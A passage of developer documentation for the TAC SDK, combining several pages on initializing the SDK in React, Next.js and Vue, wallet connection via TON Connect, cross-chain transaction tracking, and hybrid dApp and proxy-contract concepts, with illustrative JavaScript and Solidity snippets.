const TacSdkContext = createContext(null);
export const TacSdkProvider = ({ children }) => {
const [tacSdk, setTacSdk] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
const initializeSdk = async () => {
try {
setLoading(true);
setError(null);
const sdk = await TacSdk.create({
network:
process.env.NODE_ENV === "production"
? Network.MAINNET
: Network.TESTNET,
delay: process.env.NODE_ENV === "production" ? 500 : 1000,
});
setTacSdk(sdk);
} catch (err) {
console.error("Failed to initialize TAC SDK:", err);
setError(err);
} finally {
setLoading(false);
}
};
initializeSdk();
// Cleanup on unmount
return () => {
if (tacSdk) {
tacSdk.closeConnections();
}
};
}, []);
return (
{children}
);
};
export const useTacSdk = () => {
const context = useContext(TacSdkContext);
if (!context) {
throw new Error("useTacSdk must be used within a TacSdkProvider");
}
return context;
};
```
### Next.js Application
Handle client-side initialization with proper error boundaries:
```jsx theme={null}
// hooks/useTacSdk.js
import { useEffect, useState } from "react";
import { TacSdk, Network } from "@tonappchain/sdk";
export const useTacSdk = () => {
const [tacSdk, setTacSdk] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
// Ensure client-side only
if (typeof window === "undefined") return;
const initializeSdk = async () => {
try {
const sdk = await TacSdk.create({
network:
process.env.NODE_ENV === "production"
? Network.MAINNET
: Network.TESTNET,
delay: process.env.NODE_ENV === "production" ? 500 : 1000,
});
setTacSdk(sdk);
setError(null);
} catch (err) {
console.error("SDK initialization failed:", err);
setError(err);
} finally {
setLoading(false);
}
};
initializeSdk();
return () => {
if (tacSdk) {
tacSdk.closeConnections();
}
};
}, []);
const reinitialize = async () => {
setLoading(true);
setError(null);
try {
if (tacSdk) {
await tacSdk.closeConnections();
}
const sdk = await TacSdk.create({
network: Network.TESTNET,
delay: 1000,
});
setTacSdk(sdk);
} catch (err) {
setError(err);
} finally {
setLoading(false);
}
};
return { tacSdk, loading, error, reinitialize };
};
```
### Vue.js Application
Create a composable for SDK management:
```javascript theme={null}
// composables/useTacSdk.js
import { ref, onMounted, onUnmounted } from "vue";
import { TacSdk, Network } from "@tonappchain/sdk";
export function useTacSdk() {
const tacSdk = ref(null);
const loading = ref(true);
const error = ref(null);
const initialize = async () => {
try {
loading.value = true;
error.value = null;
tacSdk.value = await TacSdk.create({
network: import.meta.env.PROD ? Network.MAINNET : Network.TESTNET,
delay: import.meta.env.PROD ? 500 : 1000,
});
} catch (err) {
console.error("TAC SDK initialization failed:", err);
error.value = err;
} finally {
loading.value = false;
}
};
onMounted(initialize);
onUnmounted(() => {
if (tacSdk.value) {
tacSdk.value.closeConnections();
}
});
return {
tacSdk: readonly(tacSdk),
loading: readonly(loading),
error: readonly(error),
reinitialize: initialize,
};
}
```
## Common Issues and Solutions
If you encounter module resolution errors, ensure you're using a modern bundler that supports ES modules:
**Webpack 5:**
```javascript theme={null}
// webpack.config.js
module.exports = {
resolve: {
fallback: {
crypto: require.resolve("crypto-browserify"),
stream: require.resolve("stream-browserify"),
buffer: require.resolve("buffer"),
},
},
};
```
**Vite:**
```javascript theme={null}
// vite.config.js
export default {
define: {
global: "globalThis",
},
resolve: {
alias: {
crypto: "crypto-browserify",
stream: "stream-browserify",
buffer: "buffer",
},
},
};
```
If you experience network connection issues:
**Verify firewall settings** - Ensure your environment can access TON and TAC endpoints
For TypeScript type errors:
1. **Install type definitions:**
```bash theme={null}
npm install --save-dev @types/node
```
2. **Update your tsconfig.json:**
```json theme={null}
{
"compilerOptions": {
"moduleResolution": "node",
"allowSyntheticDefaultImports": true,
"esModuleInterop": true
}
}
```
3. **Use explicit imports:**
```typescript theme={null}
import type { TacSdk, Network } from "@tonappchain/sdk";
```
# TAC SDK
Source: https://docs.tac.build/sdk/overview
Developer's kits to build hybrid dApps.
Open the [Quickstart guide](/quickstart/overview) to send your first
cross-chain transaction and see the SDK in action.
Build hybrid dApp using TypeScript with **@tonappchain/sdk**
Build hybrid dApp using Python with **tac-sdk**
## Installation
Install the TAC SDK using your preferred package manager:
```bash npm theme={null}
npm install @tonappchain/sdk
```
```bash yarn theme={null}
yarn add @tonappchain/sdk
```
```bash pnpm theme={null}
pnpm add @tonappchain/sdk
```
## Core Capabilities
The SDK provides four essential capabilities that make hybrid dApp development straightforward:
Code snippets below are written in TypeScript, but the same features are also available in Python.
### 1. TON Wallet Integration
The SDK handles all aspects of TON wallet connectivity through the standard TON Connect protocol (or mnemonic usage). Users can connect with popular wallets like Wallet and Tonkeeper without installing additional software or managing new seed phrases.
```javascript theme={null}
// Simple wallet connection
const tacSdk = await TacSdk.create({ network: Network.TESTNET });
const sender = await SenderFactory.getSender({ tonConnect: tonConnectUI });
```
### 2. Cross-Chain Transaction Routing
Developers specify what they want to happen on the EVM side, and the SDK handles all the complex message formatting and routing through the TON Adapter.
```javascript theme={null}
// Send tokens to an EVM DEX for swapping
const transactionLinker = await tacSdk.sendCrossChainTransaction(
evmProxyMsg, // What to call on EVM
sender, // TON wallet
assets // Tokens to bridge
);
```
Always send transactions on a Testnet first. Cross-chain transactions are
irreversible once confirmed, and incorrect parameters can result in loss of
funds.
### 3. Asset Bridging
Token transfers between TON and TAC EVM happen automatically on behalf on the [TON Adapter](/why-tac/components/ton-adapter).
The SDK manages encoding calldata for locking the specific tokens on TON, and accessing the target EVM dApp method.
Learn more about working with different types of assets in the [Asset Bridging page](/why-tac/cross-chain-operations/asset-bridging).
### 4. Real-Time Status Tracking
The SDK provides comprehensive tools for monitoring cross-chain transactions, allowing applications to show users exactly what's happening and when operations complete.
```javascript theme={null}
await tacSdk.startTracking(transactionLinker);
```
## How It Works
The SDK acts as a bridge between your frontend application and TAC's cross-chain infrastructure:
Developers integrate the SDK into their frontend applications and specify
EVM operations using familiar TypeScript/JavaScript patterns.
The SDK formats cross-chain messages with proper encoding, handles asset
preparation, and manages wallet interactions.
Before each send cross-chain transaction call, simulation of the requested operation on TAC EVM is performed automatically,
helping you identify any potential issues before actually sending anything.
Messages are routed through the TON Adapter's sequencer network, which
validates and processes them securely.
Target EVM contracts receive properly formatted calls with bridged assets,
executing the requested operations.
The SDK monitors progress and provides real-time updates to the frontend,
handling completion or failure scenarios.
## Key Components
The SDK is organized into focused components that handle different aspects of hybrid dApp functionality:
The primary class that developers interact with for all cross-chain operations. It handles SDK initialization, transaction sending, token address mapping, and balance queries.
Key features include sending cross-chain transactions, getting token addresses across chains, checking user balances, and managing SDK lifecycle.
Provides comprehensive tools for tracking cross-chain transaction status and progress. Applications can monitor operations in real-time and provide users with accurate updates.
Supports both simplified status checking (Pending/Successful/Failed) and detailed stage-by-stage tracking for advanced use cases.
Handles transaction signing and submission through different wallet types. Supports TON Connect for web applications and raw private keys for backend services.
Provides a unified interface regardless of the underlying wallet technology, simplifying application development.
## Development Experience
The SDK is designed to feel familiar to web developers while providing powerful cross-chain capabilities:
### Typification
The SDK provides comprehensive TypeScript definitions and Python type hints, enabling better development experience with IDE autocompletion and compile-time error checking.
### Simulation
Built-in simulation capabilities help developers validate their integrations before transfer:
```javascript theme={null}
const simulation = await tacSdk.getSimulationInfo(
evmProxyMsg, // What to call on EVM
sender, // TON wallet
assets // Tokens to bridge
);
```
### Testnet
Joint TON Testnet and TAC Testnet environment available for developers 24/7.
Verify your DeFi flow from TON to TAC and vice versa as simply as creating your sdk instance in the Testnet mode:
```javascript theme={null}
const tacSdk = await TacSdk.create({ network: Network.TESTNET });
```
### Wait Options
Many SDK methods support optional wait parameters to control the time it takes for operations to complete:
```javascript theme={null}
// Basic waiting with defaults
const defaultWaitOptions = {};
const result = await tacSdk.sendCrossChainTransaction(
evmProxyMsg,
sender,
assets,
undefined, // transaction options
{ waitOptions: defaultWaitOptions } // use default wait options
);
// Custom timeout and polling interval
const customWaitOptions = {
timeout: 600000, // 10 minutes
delay: 5000, // Check every 5 seconds
};
const resultWithCustomTiming = await tacSdk.sendCrossChainTransaction(
evmProxyMsg,
sender,
assets,
undefined,
{ waitOptions: customWaitOptions }
);
```
## Verification
Test your installation with a simple initialization:
```javascript theme={null}
import { TacSdk, Network } from "@tonappchain/sdk";
async function testInstallation() {
try {
const tacSdk = await TacSdk.create({
network: Network.TESTNET,
});
console.log("✅ TAC SDK initialized successfully");
console.log("Network:", tacSdk.network);
// Clean up
tacSdk.closeConnections();
} catch (error) {
console.error("❌ Installation test failed:", error);
}
}
testInstallation();
```
Remember to always call `await tacSdk.closeConnections()` when your application
shuts down to properly clean up network resources and prevent memory leaks.
## Sender Factory
The SDK supports all standard TON wallet versions:
```javascript theme={null}
import { SenderFactory, Network, AssetType } from "@tonappchain/sdk";
// Wallet V4 (most common)
const senderV4 = await SenderFactory.getSender({
network: Network.TESTNET,
version: "V4",
mnemonic: "word1 word2 word3 ... word24",
});
// Wallet V5R1 (latest)
const senderV5 = await SenderFactory.getSender({
network: Network.TESTNET,
version: "V5R1",
mnemonic: "word1 word2 word3 ... word24",
options: {
v5r1: {
subwalletNumber: 0, // Optional subwallet number
},
},
});
// Legacy wallets
const senderV3 = await SenderFactory.getSender({
network: Network.TESTNET,
version: "V3R2",
mnemonic: "word1 word2 word3 ... word24",
});
// Highload wallet for applications requiring high transaction throughput
const highloadSender = await SenderFactory.getSender({
network: Network.TESTNET,
version: "HIGHLOAD_V3",
mnemonic: "word1 word2 word3 ... word24",
options: {
highloadV3: {
subwalletId: 0, // Subwallet identifier
timeout: 60, // Transaction timeout in seconds
},
},
});
```
**Batch Transaction Limits**: Different wallet versions support different
batch sizes when sending multiple transactions. V5R1 wallets can send up to
254 transactions per batch, while V4 and other standard wallets support up to
4 transactions per batch. Highload V3 wallets are optimized for large batch
operations.
## EVM Target Messages
Developers specify EVM operations using a unified structure for cross-chain delivery:
```javascript theme={null}
const evmProxyMsg = {
evmTargetAddress: "0xDappProxyAddr", // Contract to call
methodName: "swapExactTokensForTokens(bytes,bytes)", // Method signature
encodedParameters: new ethers.AbiCoder().encode(
['tuple(uint256,uint256,address[],address,uint256)'],
[[10n, 5n, ['0xToken1Addr', '0xToken2Addr'], '0xDappProxyAddr', 19010987500]],
), // Example parameters for Uniswap V2 `swapExactTokensForTokens` method
};
```
Use `ethers` or similar libraries to encode contract parameters and
make sure the encoded parameters are valid tuples.
Learn more about parameter encoding and decoding [here](/proxies/advanced-custom-proxy/argument-encoding).
### Method Name Formatting
The SDK accepts flexible method name formats:
```javascript theme={null}
const evmProxyMsg = {
evmTargetAddress: "0x742d35Cc647332...",
methodName: "swapExactTokensForTokens(bytes,bytes)",
encodedParameters: encodedSwapParams
};
```
```javascript theme={null}
const evmProxyMsg = {
evmTargetAddress: "0x742d35Cc647332...",
methodName: "transfer", // SDK will format as "transfer(bytes,bytes)"
encodedParameters: encodedTransferParams
};
```
```javascript theme={null}
const evmProxyMsg = {
evmTargetAddress: "0x742d35Cc647332...",
// No methodName - calls contract directly with encoded data
encodedParameters: "0x..."
};
```
## Asset Bridging
Tokens (native, FTs) and NFTs to transfer are specified using user-friendly amounts that the SDK automatically converts to the proper formats for each chain:
```javascript theme={null}
import { TON } from '@tonappchain/sdk';
const ft = await tacSdk.getFT('EQtonTokenAddress');
const ton = new TON(tacSdk.config)
const assets = [
ft.withAmount(10), // TON jetton (fungible token)
ton.withAmount(20) // Native TON
];
```
## Configuration Options
The SDK accepts several configuration options during initialization:
```javascript theme={null}
const tacSdk = await TacSdk.create({
network: Network.TESTNET, // Network selection
delay: 1000, // Delay between operations (milliseconds)
TONParams: {
// TON-specific configuration
contractOpener: tonClient, // Custom TonClient instance
},
TACParams: {
// TAC-specific configuration
provider: customProvider, // Custom provider
},
});
```
Explore more options in the [docs](https://github.com/TacBuild/tac-sdk/).
## Error Handling
The SDK provides comprehensive error handling that protects user assets and provides meaningful feedback:
The SDK validates parameters, checks balances, and estimates gas costs
before submitting transactions, preventing common failure scenarios.
Built-in [retry mechanisms](/sdk/overview#wait-options) and fallback endpoints ensure operations continue
even when individual network components experience issues.
Failed transactions automatically trigger rollback mechanisms that return
assets to users safely, preventing fund loss.
## Documentation
Comprehensive documentation with helpful examples is available on the SDK's GitHub repositories:
# TON Connect
Source: https://docs.tac.build/sdk/ton-connect
For browser applications, integrate with TON Connect for wallet apps (Wallet, Tonkeeper) connectivity
Start with TON Connect integration for web applications to provide the best
user experience. Use private key integration only for backend services or
development environments where you control the private keys securely.
### Install
```bash theme={null}
npm install @tonconnect/ui
```
### TON Connect Manifest
Create a manifest file for your application:
```json theme={null}
{
"url": "https://yourapp.com",
"name": "Your dApp Name",
"iconUrl": "https://yourapp.com/icon.png",
"termsOfUseUrl": "https://yourapp.com/terms",
"privacyPolicyUrl": "https://yourapp.com/privacy"
}
```
### Configure
```javascript theme={null}
import { TonConnectUI } from "@tonconnect/ui";
// Initialize TON Connect
const tonConnectUI = new TonConnectUI({
manifestUrl: "https://yourapp.com/tonconnect-manifest.json",
buttonRootId: "ton-connect-button",
});
// Create sender from TON Connect
import { SenderFactory } from "@tonappchain/sdk";
const sender = await SenderFactory.getSender({
tonConnect: tonConnectUI,
});
```
An example of using TON Connect with the TAC SDK can be found in our [create-tac-app](/quickstart/overview).
## Security Best Practices
Never expose private keys or mnemonics in client-side code. Always use
environment variables or secure configuration management for sensitive data.
### Client-Side Security
```javascript theme={null}
// Good - Use TonConnect for web applications
const sender = await SenderFactory.getSender({
tonConnect: tonConnectUI, // User controls private keys
});
// Bad - Never do this in client-side code
const sender = await SenderFactory.getSender({
network: Network.TESTNET,
version: "V4",
mnemonic: "exposed mnemonic in browser", // Security risk!
});
```
### Server-Side Security
```javascript theme={null}
// Good - Use environment variables
const sender = await SenderFactory.getSender({
network: Network.TESTNET,
version: "V4",
mnemonic: process.env.WALLET_MNEMONIC, // Secure
});
// Good - Use secure configuration services
const sender = await SenderFactory.getSender({
network: Network.TESTNET,
version: "V4",
mnemonic: await getSecureConfig("WALLET_MNEMONIC"), // Secure
});
```
# Transaction Tracking
Source: https://docs.tac.build/sdk/transaction-tracking
Monitor cross-chain transaction progress and handle completion with comprehensive tracking tools
Whether you need simple status updates or detailed execution profiling, the tracking system offers multiple approaches to fit your application's needs.
Transaction tracking is essential for providing good user experience in
cross-chain applications
## Main Classes
Cross-chain transactions go through multiple stages across different blockchain networks.
The TAC SDK's tracking system provides real-time visibility into this complex process through several types:
* `TransactionLinker`: Initial tracking handle returned from transaction submission
* `OperationTracker`: Comprehensive tracking with detailed status information
* `SimplifiedStatuses`: Already successful or still processing?
* `ExecutionStages`: Detailed execution timeline (Stage Profiling)
## `TransactionLinker`
Every cross-chain transaction returns a `TransactionLinker` object that serves as the primary tracking handle:
```javascript theme={null}
// Send transaction and get tracking handle
const transactionLinker = await tacSdk.sendCrossChainTransaction(
evmProxyMsg,
sender,
assets
);
// Operation ID may not be immediately available
// Use OperationTracker to retrieve it
console.log("Shard Key:", transactionLinker.shardsKey);
console.log("Timestamp:", transactionLinker.timestamp);
console.log("Caller:", transactionLinker.caller);
```
`TransactionLinker` properties:
```javascript theme={null}
interface TransactionLinker {
caller: string; // Sender's wallet address
shardCount: number; // Number of shards involved
shardsKey: string; // Unique shard identifier
timestamp: number; // Transaction timestamp
operationId?: string; // Operation ID (available after TON Adapter transaction detection)
sendTransactionResult?: any; // Raw transaction result
}
```
`operationId` is your primary identifier for the cross-chain transaction, save it for later use.
## `OperationTracker`
The `OperationTracker` provides comprehensive tracking capabilities with multiple monitoring methods:
```javascript theme={null}
import { OperationTracker, Network } from "@tonappchain/sdk";
// Initialize tracker
const tracker = new OperationTracker(Network.TESTNET);
// Get operation status
const status = await tracker.getOperationStatus(operationId);
console.log("Transaction status:", status);
// Get operation status with wait options for automatic waiting
const statusWithWait = await tracker.getOperationStatus(operationId, {
timeout: 300000, // 5 minutes total timeout
maxAttempts: 30, // Maximum 30 attempts
delay: 10000, // 10 seconds between attempts
successCheck: (opId) => !opId,
onSuccess: (opId) => console.log("Operation id received successfully!", opId),
});
console.log("Final status:", statusWithWait);
```
## `SimplifiedStatuses`
For applications that need basic status information use method `getSimplifiedOperationStatus`:
```javascript theme={null}
const getSimpleStatus = async (transactionLinker) => {
const tracker = new OperationTracker(Network.TESTNET);
const status = await tracker.getSimplifiedOperationStatus(transactionLinker);
switch (status) {
case "PENDING":
console.log("Transaction is being processed");
break;
case "SUCCESSFUL":
console.log("Transaction completed successfully");
break;
case "FAILED":
console.log("Transaction failed");
break;
case "OPERATION_ID_NOT_FOUND":
console.log("Operation not found - may still be propagating");
break;
}
return status;
};
```
### Detailed Status Information
For applications requiring comprehensive status data use method `getOperationStatus`:
```javascript theme={null}
const getDetailedStatus = async (operationId) => {
const tracker = new OperationTracker(Network.TESTNET);
const statusInfo = await tracker.getOperationStatus(operationId);
console.log("Status Information:");
console.log("- Stage:", statusInfo.stage);
console.log("- Success:", statusInfo.success);
console.log("- Timestamp:", statusInfo.timestamp);
console.log("- Transactions:", statusInfo.transactions);
return statusInfo;
};
```
## `ExecutionStages`
For detailed execution analysis, use method `getStageProfiling` to understand where time is spent:
```javascript theme={null}
const getExecutionProfiling = async (operationId) => {
const tracker = new OperationTracker(Network.TESTNET);
const stages = await tracker.getStageProfiling(operationId);
console.log("Execution Timeline:");
console.log("- Collected in TAC:", stages.collectedInTAC.stageData?.timestamp);
console.log(
"- Included in TAC Consensus:",
stages.includedInTACConsensus.stageData?.timestamp
);
console.log("- Executed in TAC:", stages.executedInTAC.stageData?.timestamp);
console.log("- Collected in TON:", stages.collectedInTON.stageData?.timestamp);
console.log(
"- Included in TON Consensus:",
stages.includedInTONConsensus.stageData?.timestamp
);
console.log("- Executed in TON:", stages.executedInTON.stageData?.timestamp);
return stages;
};
```
## Custom Success Callbacks
For complex applications that need automatic profiling and finalization tracking `successCheck` and `onSuccess` options can be used:
```javascript theme={null}
const getDetailedStatusWithCallback = async (operationId) => {
const tracker = new OperationTracker(Network.TESTNET);
// Advanced tracking with callbacks
const statusInfo = await tracker.getOperationStatus(operationId, {
timeout: 300000,
maxAttempts: 30,
delay: 10000,
context: {
operationTracker: tracker,
enableProfiling: true,
},
successCheck: (opId) => !opId,
onSuccess: async (result, context) => {
if (context?.enableProfiling && context.operationTracker) {
console.log("📊 Retrieving detailed profiling data...");
// Get comprehensive profiling information
const profilingData = await context.operationTracker.getStageProfiling(
operationId
);
console.log("\n📈 OPERATION TRACKING COMPLETE");
console.log(`🔹 Operation ID: ${operationId}`);
console.log(
`🔹 Final Status: ${result.success ? "✅ Success" : "❌ Failed"}`
);
console.log(
`🔹 Profiling Stages: ${Object.keys(profilingData).length}`
);
// Display stage-by-stage breakdown
for (const [stageName, stageInfo] of Object.entries(profilingData)) {
if (stageName !== "operationType" && stageName !== "metaInfo") {
const status = stageInfo.exists
? "✅ Completed"
: "⏸️ Not executed";
const timestamp = stageInfo.timestamp
? new Date(stageInfo.timestamp).toISOString()
: "N/A";
console.log(` • ${stageName}: ${status} (${timestamp})`);
}
}
// Send notifications, update database, trigger workflows, etc.
console.log("🔔 Triggering post-completion workflows...");
return profilingData;
}
},
});
return statusInfo;
};
```
# Hybrid dApps
Source: https://docs.tac.build/why-tac/components/hybrid-dapps
Applications that combine EVM smart contract logic with native TON user experience through TAC
Hybrid dApps are applications that run their core logic on TAC's EVM Layer while providing a completely native experience for TON users. Unlike traditional cross-chain applications that require users to switch networks or manage multiple wallets, hybrid dApps feel like native TON applications while leveraging the full power of EVM's mature ecosystem.
## What Makes an App "Hybrid"
Traditional dApps exist entirely within one ecosystem. Hybrid dApps span two ecosystems seamlessly:
* TON wallet integration
* Telegram Mini App interface
* Native asset handling
* Familiar TON user flows
* Solidity contracts on TAC EVM Layer
* Complex DeFi primitives and composability
* Mature tooling and battle-tested code
* Rich ecosystem of integrations
Users interact with hybrid dApps exactly like they would with native TON apps,
they never know there's EVM logic running behind the scenes.
## The Hybrid dApp Advantage
Hybrid dApps unlock a new paradigm where users and developers enjoy the strengths of both TON and EVM ecosystems—without compromise.
### For Users: Native Experience, Expanded Capabilities
**No learning curve or new tools:**
* Use existing TON wallet (Wallet, Tonkeeper, etc.)
* Access through familiar Telegram Mini Apps
* Transact with TON tokens directly
* No network switching or bridge operations
Users get access to sophisticated DeFi without leaving their comfort zone
**Access to EVM's rich ecosystem:**
* Advanced DeFi protocols (AMMs, lending, derivatives)
* Composable protocols and yield strategies
* Battle-tested security models
TON users can now access applications that would be impossible to build
natively in FunC
**Your tokens work everywhere:**
* TON tokens automatically work in EVM applications
* No manual bridging or wrapped token management
* Unified liquidity across both ecosystems
* Seamless asset flow based on user intent
### For Developers: Best of Both Worlds
**Deploy proven smart contracts without rewrites:**
* Use existing Solidity contracts as-is
* Import battle-tested DeFi primitives
* Leverage OpenZeppelin libraries and standards
* Maintain existing security audits and testing
No need to rebuild complex logic in FunC or learn new development paradigms.
**Access TON's 1 billion+ user base:**
* Deploy once, serve both EVM and TON users
* Leverage Telegram's distribution network
* Tap into TON's growing DeFi ecosystem
* Benefit from TON's fast transaction speeds
Expand your user base without building separate applications.
**Focus on application logic, not infrastructure:**
* TAC SDK handles all cross-chain complexity
* Standard Ethereum tooling continues to work
* Rich documentation and developer resources
Build sophisticated applications without becoming a cross-chain expert.
## Development Patterns
Hybrid dApps on TAC are designed to feel native to both TON and EVM users, blending familiar interfaces with powerful cross-chain capabilities.
By leveraging TAC's architecture, developers can build applications that seamlessly connect users, assets, and protocols across ecosystems—without compromising on user experience or security. Below are the key patterns and best practices for building truly hybrid applications.
### Frontend Architecture
Most hybrid dApps follow a common frontend pattern:
```javascript theme={null}
// 1. Initialize TAC SDK
import { TacSdk, Network } from "@tonappchain/sdk";
const tacSdk = await TacSdk.create({ network: Network.TESTNET });
// 2. Connect TON wallet
import { TonConnectUI } from "@tonconnect/ui";
const tonConnect = new TonConnectUI({
manifestUrl: "https://yourapp.com/tonconnect-manifest.json",
});
// 3. Create cross-chain transactions
const transactionLinker = await tacSdk.sendCrossChainTransaction(
{
evmTargetAddress: "0xYourContract",
methodName: "yourMethod(bytes,bytes)",
encodedParameters: encodedParams,
},
sender,
assets
);
// 4. Track transaction status
const tracker = new OperationTracker(Network.TESTNET);
const status = await tracker.getOperationStatus(operationId);
```
### Smart Contract Architecture
EVM-side contracts follow standard patterns with TAC-specific proxy integration:
```solidity theme={null}
pragma solidity ^0.8.0;
import "@tonappchain/evm-ccl/contracts/proxies/TacProxyV1.sol";
contract HybridDeFiProtocol is TacProxyV1 {
constructor(address _crossChainLayer) TacProxyV1(_crossChainLayer) {}
// This function receives cross-chain calls from TON
function executeSwap(bytes calldata tacHeader, bytes calldata args)
external
_onlyCrossChainLayer
{
// Decode TAC header to get user info
TacHeaderV1 memory header = _decodeTacHeader(tacHeader);
// Decode your application-specific arguments
SwapParams memory params = abi.decode(args, (SwapParams));
// Execute your application logic
performSwap(params);
// Optionally send results back to TON
_sendMessageV1(createReturnMessage(header, results));
}
}
```
## User Journey Example
Let's follow a TON user interacting with a hybrid DEX:
User discovers the DEX through a Telegram Mini App or web interface. The app
looks and feels like a native TON application.
User connects their TON wallet using standard TON Connect. No new
wallets or seed phrases required.
User selects TON tokens to swap (for example). The interface shows familiar token names and
balances from their TON wallet.
User approves the swap in their TON wallet. Behind the scenes, TAC locks their
tokens and sends a message to the EVM DEX contract.
The DEX executes the swap on the EVM side. The
user sees real-time status updates in the interface.
New tokens appear in the user's TON wallet automatically. The entire process
feels like a native TON transaction.
The user never knew they were interacting with an EVM application - it felt
completely native to TON.
## Best Practices for Hybrid dApps
**Make it feel native to TON:**
* Use TON-style UI patterns and terminology
* Implement proper loading states for cross-chain operations
* Provide clear transaction status updates
* Handle errors gracefully with user-friendly messages
* Optimize for Telegram Mini App constraints
**Minimize cross-chain latency:**
* Use optimistic UI updates where safe
* Implement proper caching for frequently accessed data
* Pre-validate transactions on the frontend
* Provide immediate feedback for user actions
**Protect users across both chains:**
* Validate all inputs on both frontend and smart contract
* Implement proper slippage protection for DeFi operations
* Handle failed transactions gracefully
* Audit both proxy and smart contract code on TAC EVM
**Seamless token handling:**
* Map TON tokens to EVM equivalents clearly
* Handle decimal differences between chains (9 vs 18)
* Provide clear asset conversion information
* Implement proper error handling for insufficient balances
* Show unified balance views when possible
## Common Challenges & Solutions
Building hybrid dApps comes with unique challenges, but TAC provides solutions
for each one.
**Challenge**: Cross-chain operations take longer than single-chain
transactions
**Solution**: Use optimistic UI updates and clear progress
indicators to maintain responsive UX
**Challenge**: Managing token mappings and decimal differences between
chains
**Solution**: TAC SDK handles token mapping automatically, with
helpers for decimal conversion
**Challenge**: Failures can occur on either chain with different error types
**Solution**: Comprehensive error handling in TAC SDK with automatic
rollback protection
**Challenge**: Testing requires simulating both TON and EVM environments
**Solution**: TAC provides simulation utilities within both [TAC SDK](/sdk/overview#simulation) and [API](/api/overview).
Joint TON and TAC Testnet environment available for developers 24/7.
# TAC Proxies
Source: https://docs.tac.build/why-tac/components/proxy-contracts
Proxy smart contracts are the important middleman between the **TON Adapter** and a **Hybrid dApp**
Proxies are the Solidity contracts that implement the unified interface to access dApp and its methods.
They also ensure integrity and security while cross-chaining anything with the help of the **TON Adapter**.
Think of TAC Proxies as API endpoints for TON users. Instead of HTTP requests,
TON users send blockchain transactions that trigger your EVM functions and get
processed results back automatically.
## One Transaction Experience
What used to require multiple transactions across different chains now happens in a single TON transaction:
**Without TAC Proxies:**
1. Bridge tokens TON → EVM
2. Switch to MetaMask
3. Interact with your dApp
4. Bridge tokens back EVM → TON
**With TAC Proxies:**
1. Call your function from TON wallet ✨
## How Proxies Work
* **Custom TAC Proxies:**
On the EVM side, developers write custom Solidity contracts that are designed to interact with the TON Adapter.
These contracts receive validated cross-chain messages from the TON Adapter,
decode the transaction parameters and user intent.
After processing the transaction, the contract executes the required methods on the target contract.
If needed, the contract can also send assets back to TON.
A typical entry point for these operations is a function such as `processMessage(bytes calldata tacHeader, bytes calldata args) external onlyTONAdapter`,
which ensures that only the TON Adapter can invoke cross-chain actions.
* **[Agnostic Proxy](/sdk/advanced-usage/agnostic-proxy) usage:**
This beta feature allows for skipping the writing of Custom TAC Proxies entirely.
Step-by-step EVM execution flow can be directly configured within TAC SDK.
Developers don't need to write TON-side proxy contracts - the TAC SDK
handles everything
**Handled automatically by TAC SDK:**
When a user initiates a transaction using their TON wallet,
the TAC SDK takes care of formatting the request for cross-chain delivery
and continuously monitors and reports the transaction status.
### Proxy Generation
Proxies are arguably the most complex topic for Hybrid dApp developers but there are several ways to approach them:
For complex applications, developers should create custom proxies:
* Handle application-specific logic
* Integrate with multiple contracts
Custom proxies provide maximum flexibility for unique use cases.
Check out already existing and audited ones [here](/audit/overview#ton-tac-proxies).
Latest TAC SDK is equipped with Agnostic Proxy beta feature.
Leverage it to encode the full pipeline of calls and asset flow on the EVM side.
Execution simulation is also available!
Check out the [page](/sdk/advanced-usage/agnostic-proxy).
We are working on a publicly available AI agent which can assist you in developing Custom Proxy for your EVM contracts.
Until then you can check out the [existing](/apps/overview) EVM dApps and their related proxy implementations.
## How Custom Proxies Work
On the TAC EVM side, developers create custom proxy contracts that receive and process cross-chain messages from the TON Adapter.
* **Message Reception**: EVM proxy contracts implement specific function signatures that the TON Adapter calls when delivering cross-chain messages. These functions must accept exactly two `bytes` parameters: the **TAC header** and the **application parameters**.
* **TAC Header**: The first parameter contains encoded metadata about the cross-chain operation, including the original TON user's address, timestamp information, and unique operation identifiers.
* **Application Parameters**: The second parameter contains application-specific data encoded by the frontend. Proxy contracts decode these parameters to understand what operation the user wants to perform.
* **Target Application Interaction**: After processing the cross-chain message, proxy contracts interact with the actual target applications - DEXes, lending protocols, NFT contracts, or any other EVM smart contracts.
Writing Custom Proxy seems tricky? Check out the [Agnostic Proxy](/sdk/advanced-usage/agnostic-proxy) approach
## Real-World Use Cases
### DeFi Protocols
```solidity theme={null}
// TON user supplies collateral and borrows in one transaction
function supplyAndBorrow(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Supply collateral to lending protocol
// Borrow against it
// Send borrowed tokens back to TON user
}
```
### NFT Marketplaces
```solidity theme={null}
// TON user buys NFT with their TON assets
function buyNFT(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Process payment
// Transfer NFT to TON user
}
```
### Gaming & Rewards
```solidity theme={null}
// Player completes quest, receives tokens
function completeQuest(bytes calldata tacHeader, bytes calldata arguments)
external
_onlyCrossChainLayer
{
// Verify quest completion
// Mint and send reward tokens back to player
}
```
## Asset Handling
Proxy contracts must carefully manage assets as they flow between chains and interact with target applications.
Let's take a look at asset handling on the most popular **TON->TAC->TON** transaction type:
1. Initial Transfer (**TON->TAC**->TON)
* **Pre-Function Execution**: Before calling proxy functions, the TON Adapter automatically transfers bridged assets to the proxy contract. This includes both newly minted tokens and unlocked tokens.
* **Asset Availability**: Proxy contracts can immediately use these assets without additional transfer operations. The amounts are guaranteed to match what was specified in the original cross-chain message.
* **Asset Validation**: While the TON Adapter validates assets during message processing, proxy contracts should implement additional checks to ensure received assets match expected parameters.
When operations complete successfully, proxy contracts can send assets and data back to TON users through return messages:
2. Return Transfer (TON->**TAC->TON**)
* **Asset Preparation**: Any tokens being returned must be approved for the CrossChainLayer contract to handle the bridging process.
* **Message Structure**: Return messages use the same `OutMessageV1` structure, specifying the target TON address, assets to bridge, and optional payload data.
* **Automatic Processing**: The TON Adapter handles return messages through the same consensus mechanism, ensuring secure delivery back to TON users.
## Proxy Development
Ready to build your proxy solution? Learn how in the [related section](/proxies/introduction).
# TAC EVM Layer
Source: https://docs.tac.build/why-tac/components/tac-evm-layer
A complete Layer 1 blockchain providing full EVM compatibility built on Cosmos SDK
